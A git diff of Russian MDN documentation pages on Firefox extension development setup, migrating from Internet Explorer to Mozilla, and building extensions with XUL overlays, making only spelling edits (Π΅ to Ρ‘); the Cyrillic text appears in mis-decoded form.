+<p>ПослС создания профиля (Π½Π°Π·ΠΎΠ²Ρ‘ΠΌ Π΅Π³ΠΎ <code>myDevProfile</code>) ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Firefox, ΡƒΠΊΠ°Π·Π°Π² ΠΊΠ»ΡŽΡ‡ <code>"-P myDevProfile"</code>. ΠŸΡ€ΠΎΡ„ΠΈΠ»ΡŒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ называСтся <code>"default"</code>. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, для удобства запуска ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ 2 ярлыка (символичСскиС ссылки) Π½Π° Firefox с ΠΊΠ»ΡŽΡ‡Π°ΠΌΠΈ <code>"-P &lt;profileName&gt;"</code>.</p>
<p>Однако ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ нСльзя Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ 2 ΠΊΠΎΠΏΠΈΠΈ Firefox с Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ профилями. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΡƒΠΊΠ°ΠΆΠΈΡ‚Π΅ ΠΏΡ€ΠΈ запускС Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΠ»ΡŽΡ‡ <code>"-no-remote"</code>.</p>
@@ -66,7 +66,7 @@ start "" "%ProgramFiles%\Mozilla Firefox\firefox.exe" -ProfileManager
<ol>
<li>НайдитС ΠΏΠ°ΠΏΠΊΡƒ с вашим ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΌ. Если Π²Ρ‹ Π½Π΅ создавали Π΅Π³ΠΎ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. <a class="external" href="http://kb.mozillazine.org/Profile_folder">Как Π½Π°ΠΉΡ‚ΠΈ ΠΏΠ°ΠΏΠΊΡƒ с ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΌ.</a></li>
- <li>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ ΠΏΠ°ΠΏΠΊΡƒ <code>extensions</code>. Если Π΅Π΅ Π½Π΅Ρ‚, создайтС Π΅Π΅.</li>
+ <li>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ ΠΏΠ°ΠΏΠΊΡƒ <code>extensions</code>. Если Π΅Ρ‘ Π½Π΅Ρ‚, создайтС Π΅Π΅.</li>
<li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²Ρ‹ΠΉ тСкстовый Ρ„Π°ΠΉΠ» ΠΈ помСститС Π² Π½Π΅Π³ΠΎ лишь ΠΏΡƒΡ‚ΡŒ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ (Π½Π°ΠΏΡ€., <code>C:\extensions\my_extension\</code> для Windows ΠΈΠ»ΠΈ <code>~/extensions/my_extension/</code> для Unix/Linux). Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ» ΠΏΠΎΠ΄ ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌ с <code>id</code> вашСго Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ.</li>
</ol>
@@ -74,7 +74,7 @@ start "" "%ProgramFiles%\Mozilla Firefox\firefox.exe" -ProfileManager
<ul>
<li>НС Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ слСш.</li>
- <li>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΈΠ·-Π·Π° Π·Π½Π°ΠΊΠΎΠ² Π½ΠΈΠΆΠ½Π΅Π³ΠΎ подчСркивания Π² Π½Π°Π·Π²Π°Π½ΠΈΠΈ; Ссли Ρ‚Π°ΠΊ Π²Ρ‹ΡˆΠ»ΠΎ, ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Π³ΠΎ.</li>
+ <li>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΈΠ·-Π·Π° Π·Π½Π°ΠΊΠΎΠ² Π½ΠΈΠΆΠ½Π΅Π³ΠΎ подчёркивания Π² Π½Π°Π·Π²Π°Π½ΠΈΠΈ; Ссли Ρ‚Π°ΠΊ Π²Ρ‹ΡˆΠ»ΠΎ, ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Π³ΠΎ.</li>
</ul>
<h3 id=".D0.98.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_.D0.BF.D0.B0.D0.BF.D0.BE.D0.BA.2C_.D0.B0_.D0.BD.D0.B5_JAR.27.D0.BE.D0.B2" name=".D0.98.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_.D0.BF.D0.B0.D0.BF.D0.BE.D0.BA.2C_.D0.B0_.D0.BD.D0.B5_JAR.27.D0.BE.D0.B2">ИспользованиС папок, а нС JAR'ов</h3>
diff --git a/files/ru/orphaned/ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄_с_internet_explorer_Π½Π°_mozilla/index.html b/files/ru/orphaned/ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄_с_internet_explorer_Π½Π°_mozilla/index.html
index f7c8b5d32c..e17b95e6ca 100644
--- a/files/ru/orphaned/ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄_с_internet_explorer_Π½Π°_mozilla/index.html
+++ b/files/ru/orphaned/ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄_с_internet_explorer_Π½Π°_mozilla/index.html
@@ -6,6 +6,6 @@ original_slug: ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄_с_Internet_Explorer_Π½Π°_Mozilla
<h3 id=".D0.92.D0.B2.D0.B5.D0.B4.D0.B5.D0.BD.D0.B8.D0.B5">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅</h3>
<p>Когда Netscape запустила Π±Ρ€ΠΎΡƒΠ·Π΅Ρ€ Mozilla, Π±Ρ‹Π»ΠΎ Ρ€Π΅ΡˆΠ΅Π½ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ стандарт W3C. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅, Mozilla Π½Π΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ совмСстима с Netscape Navigator 4.x ΠΈ Microsoft Internet Explorer; Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Mozilla Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ <code>&lt;layer&gt;</code>, я расскаТу ΠΎΠ± этом ΠΏΠΎΠ·ΠΆΠ΅. Π‘Ρ€ΠΎΡƒΠ·Π΅Ρ€Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Internet Explorer 4, Π±Ρ‹Π»ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Ρ‹ Π΄ΠΎ утвСрТдСния стандарта W3C, ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… особСнностСй. Π’ этом ΠΊΠ»ΡŽΡ‡Π΅, я ΠΎΠΏΠΈΡˆΡƒ особСнности Mozilla, с ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ строгого стиля HTML Π² сочСтании с Internet Explorer ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌΠΈ Π±Ρ€ΠΎΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ.</p>
<p>Π’ΠΏΡ€ΠΎΡ‡Π΅ΠΌ я ΠΎΠΏΠΈΡˆΡƒ ΠΊΠ°ΠΊ нСстандартизированныС Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ XMLHttpRequest, Ρ‚Π°ΠΊ ΠΈ Π±ΠΎΠ³Π°Ρ‚Ρ‹Π΅ возмоТности прСдставлСния тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Mozilla ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ согласно стандарту W3C. Они Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚:</p>
-<ul> <li>HTML 4.01, XHTML 1.0 ΠΈ XHTML 1.1</li> <li>ΠšΠ°ΡΠΊΠ°Π΄Π½Ρ‹Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй (CSS): CSS 1, CSS 2.1 ΠΈ частично CSS 3</li> <li>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Π½Π°Ρ модСль Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (DOM): DOM 1, DOM 2 ΠΈ частично DOM 3</li> <li>ΠœΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΡ‡Π΅ΡΠΊΠΈΠΉ язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ: MathML 2.0</li> <li>Π Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹ΠΉ язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ (XML): XML 1.0, ΠŸΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡ‚Π²ΠΎ ΠΈΠΌΠ΅Π½ Π² XML, Associating Style Sheets with XML Documents 1.0, Fragment Identifier for XML</li> <li>XSL Π’Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ: XSLT 1.0</li> <li>XML Π§Π°ΡΡ‚ΡŒ языка: XPath 1.0</li> <li>Resource Description Framework: RDF</li> <li>Simple Object Access Protocol: SOAP 1.1</li> <li>ECMA-262, revision 3 (JavaScript 1.5): ECMA-262</li>
+<ul> <li>HTML 4.01, XHTML 1.0 ΠΈ XHTML 1.1</li> <li>ΠšΠ°ΡΠΊΠ°Π΄Π½Ρ‹Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй (CSS): CSS 1, CSS 2.1 ΠΈ частично CSS 3</li> <li>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Π½Π°Ρ модСль Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (DOM): DOM 1, DOM 2 ΠΈ частично DOM 3</li> <li>ΠœΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΡ‡Π΅ΡΠΊΠΈΠΉ язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ: MathML 2.0</li> <li>Π Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹ΠΉ язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ (XML): XML 1.0, ΠŸΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡ‚Π²ΠΎ ΠΈΠΌΡ‘Π½ Π² XML, Associating Style Sheets with XML Documents 1.0, Fragment Identifier for XML</li> <li>XSL Π’Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ: XSLT 1.0</li> <li>XML Π§Π°ΡΡ‚ΡŒ языка: XPath 1.0</li> <li>Resource Description Framework: RDF</li> <li>Simple Object Access Protocol: SOAP 1.1</li> <li>ECMA-262, revision 3 (JavaScript 1.5): ECMA-262</li>
</ul>
<p>Β </p>
diff --git a/files/ru/orphaned/созданиС_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/index.html b/files/ru/orphaned/созданиС_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/index.html
index bc46b037c6..bfa7397637 100644
--- a/files/ru/orphaned/созданиС_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/index.html
+++ b/files/ru/orphaned/созданиС_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/index.html
@@ -17,7 +17,7 @@ original_slug: Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ
<h3 id=".D0.A1.D0.BE.D0.B7.D0.B4.D0.B0.D0.BD.D0.B8.D0.B5_.D0.BF.D1.80.D0.BE.D0.B5.D0.BA.D1.82.D0.B0_.D1.80.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D1.8F" name=".D0.A1.D0.BE.D0.B7.D0.B4.D0.B0.D0.BD.D0.B8.D0.B5_.D0.BF.D1.80.D0.BE.D0.B5.D0.BA.D1.82.D0.B0_.D1.80.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D1.8F">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ</h3>
-<p>Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ состоят ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ для ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠΉ Π΅Π³ΠΎ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€Π°Π²ΠΈΠ» ΠΈΡ… располоТСния Π² дирСкториях. Π’ΠΎΡ‚ структура Ρ‚ΠΈΠΏΠΈΡ‡Π½ΠΎΠ³ΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ:</p>
+<p>Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ состоят ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ для ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠΉ Π΅Π³ΠΎ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€Π°Π²ΠΈΠ» ΠΈΡ… располоТСния Π² дирСкториях. Π’ΠΎΡ‚ структура Ρ‚ΠΈΠΏΠΈΡ‡Π½ΠΎΠ³ΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ:</p>
<pre class="eval">/myExtension:
/install.rdf
@@ -105,9 +105,9 @@ original_slug: Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ
<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ Firefox написан Π½Π° XUL ΠΈ JavaScript. <a href="/ru/XUL" title="ru/XUL">XUL</a> - это язык, основанный Π½Π° XML. Он ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Π·Π° Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ интСрфСйса. JavaScript Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· привязку ΠΊ дСйствиям ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
-<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ строится Π½Π° XUL, Ρ‚ΠΎ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΎΠ½ вСсь прСдставляСтся Π² Π²ΠΈΠ΄Π΅ XML-Ρ„Π°ΠΉΠ»Π°. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° Π½Π΅Π³ΠΎ (это Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для Ρ‡Π΅Ρ‚ΠΊΠΎΠ³ΠΎ понимания своих Π΄Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΡ… дСйствий). Π—Π°ΠΉΠ΄ΠΈΡ‚Π΅ Π² ΠΏΠ°ΠΏΠΊΡƒ установки Firefox, ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ‚Π°ΠΌ ΠΏΠ°ΠΏΠΊΡƒ chrome. Π’ Π½Π΅ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ <code>browser.jar</code>. НСсмотря Π½Π° Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅, этот Ρ„Π°ΠΉΠ» - ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ zip-Π°Ρ€Ρ…ΠΈΠ². Π’Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Ρ„Π°ΠΉΠ» <code>content/browser/browser.xul</code>. ΠžΡ‚ΠΊΡ€Ρ‹Π² Π΅Π³ΠΎ, ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡŽΠ±ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π½Π° ΠΎΠ±Ρ‰ΡƒΡŽ структуру Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ части Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. ΠŸΡƒΡΡ‚ΡŒ вас Π½Π΅ смущаСт большоС количСство нСпонятных ΠΏΠΎΠΊΠ° строк - Π²ΠΎ всСм Ρ€Π°Π·Π±Π΅Ρ€Π΅Ρ‚Π΅ΡΡŒ ΠΏΠΎΠ·ΠΆΠ΅. БобствСнно, ΠΊΠΎΡ€Π½Π΅Π²Ρ‹ΠΌ ΡƒΠ·Π»ΠΎΠΌ этого XML-Ρ„Π°ΠΉΠ»Π° являСтся элСмСнт <code>window</code>, содСрТащиСся Π² Π½Π΅ΠΌ ΡƒΠ·Π»Ρ‹ - это ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ элСмСнты интСрфСйса. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΊΠ½ΠΎΠΏΠΊΡƒ обновлСния страницы (ΠΏΠΎΠΈΡ‰ΠΈΡ‚Π΅ ΡƒΠ·Π΅Π» с <code>id="reload-button"</code>) ΠΈΠ»ΠΈ ΠΏΡƒΠ½ΠΊΡ‚ мСню "ΠŸΡ€Π°Π²ΠΊΠ°" (<code>id="edit-menu"</code>).</p>
+<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ строится Π½Π° XUL, Ρ‚ΠΎ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΎΠ½ вСсь прСдставляСтся Π² Π²ΠΈΠ΄Π΅ XML-Ρ„Π°ΠΉΠ»Π°. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° Π½Π΅Π³ΠΎ (это Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для Ρ‡Ρ‘Ρ‚ΠΊΠΎΠ³ΠΎ понимания своих Π΄Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΡ… дСйствий). Π—Π°ΠΉΠ΄ΠΈΡ‚Π΅ Π² ΠΏΠ°ΠΏΠΊΡƒ установки Firefox, ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ‚Π°ΠΌ ΠΏΠ°ΠΏΠΊΡƒ chrome. Π’ Π½Π΅ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ <code>browser.jar</code>. НСсмотря Π½Π° Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅, этот Ρ„Π°ΠΉΠ» - ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ zip-Π°Ρ€Ρ…ΠΈΠ². Π’Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Ρ„Π°ΠΉΠ» <code>content/browser/browser.xul</code>. ΠžΡ‚ΠΊΡ€Ρ‹Π² Π΅Π³ΠΎ, ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡŽΠ±ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π½Π° ΠΎΠ±Ρ‰ΡƒΡŽ структуру Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ части Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. ΠŸΡƒΡΡ‚ΡŒ вас Π½Π΅ смущаСт большоС количСство нСпонятных ΠΏΠΎΠΊΠ° строк - Π²ΠΎ всСм Ρ€Π°Π·Π±Π΅Ρ€Ρ‘Ρ‚Π΅ΡΡŒ ΠΏΠΎΠ·ΠΆΠ΅. БобствСнно, ΠΊΠΎΡ€Π½Π΅Π²Ρ‹ΠΌ ΡƒΠ·Π»ΠΎΠΌ этого XML-Ρ„Π°ΠΉΠ»Π° являСтся элСмСнт <code>window</code>, содСрТащиСся Π² Π½Π΅ΠΌ ΡƒΠ·Π»Ρ‹ - это ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ элСмСнты интСрфСйса. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΊΠ½ΠΎΠΏΠΊΡƒ обновлСния страницы (ΠΏΠΎΠΈΡ‰ΠΈΡ‚Π΅ ΡƒΠ·Π΅Π» с <code>id="reload-button"</code>) ΠΈΠ»ΠΈ ΠΏΡƒΠ½ΠΊΡ‚ мСню "ΠŸΡ€Π°Π²ΠΊΠ°" (<code>id="edit-menu"</code>).</p>
-<p>Π’Π°ΠΊ Π²ΠΎΡ‚, ΡΡƒΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ интСрфСйса Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π±Π΅Ρ€Π΅ΠΌ Π½Π΅ΠΊΠΈΠΉ ΡƒΠ·Π΅Π» ΠΈΠ· Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, описываСм Π΅Π³ΠΎ Π² своСм Ρ„Π°ΠΉΠ»Π΅ с Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΌΠΈ Π½Π°ΠΌ измСнСниями, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, добавляя ΠΊ Π½Π΅ΠΌΡƒ Π½ΠΎΠ²Ρ‹Π΅ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ ΡƒΠ·Π»Ρ‹. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ Π² панСль инструмСнтов (ΠΈΠ»ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ панСль ΠΈ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π΅ Π² Π½ΡƒΠΆΠ½ΠΎΠ΅ мСсто), Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΡƒΠ½ΠΊΡ‚ мСню (ΠΊΠ°ΠΊ рядом со "Π‘ΠΏΡ€Π°Π²ΠΊΠΎΠΉ" Ρ‚Π°ΠΊ ΠΈ Π² подмСню, скаТСм, "Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹" (Tools)). Π­Ρ‚ΠΎ тСхнология называСтся <a href="/en/XUL_Overlays">en:XUL Overlays</a>.</p>
+<p>Π’Π°ΠΊ Π²ΠΎΡ‚, ΡΡƒΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ интСрфСйса Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π±Π΅Ρ€Ρ‘ΠΌ Π½Π΅ΠΊΠΈΠΉ ΡƒΠ·Π΅Π» ΠΈΠ· Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, описываСм Π΅Π³ΠΎ Π² своём Ρ„Π°ΠΉΠ»Π΅ с Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΌΠΈ Π½Π°ΠΌ измСнСниями, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, добавляя ΠΊ Π½Π΅ΠΌΡƒ Π½ΠΎΠ²Ρ‹Π΅ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ ΡƒΠ·Π»Ρ‹. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ Π² панСль инструмСнтов (ΠΈΠ»ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ панСль ΠΈ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Ρ‘ Π² Π½ΡƒΠΆΠ½ΠΎΠ΅ мСсто), Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΡƒΠ½ΠΊΡ‚ мСню (ΠΊΠ°ΠΊ рядом со "Π‘ΠΏΡ€Π°Π²ΠΊΠΎΠΉ" Ρ‚Π°ΠΊ ΠΈ Π² подмСню, скаТСм, "Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹" (Tools)). Π­Ρ‚ΠΎ тСхнология называСтся <a href="/en/XUL_Overlays">en:XUL Overlays</a>.</p>
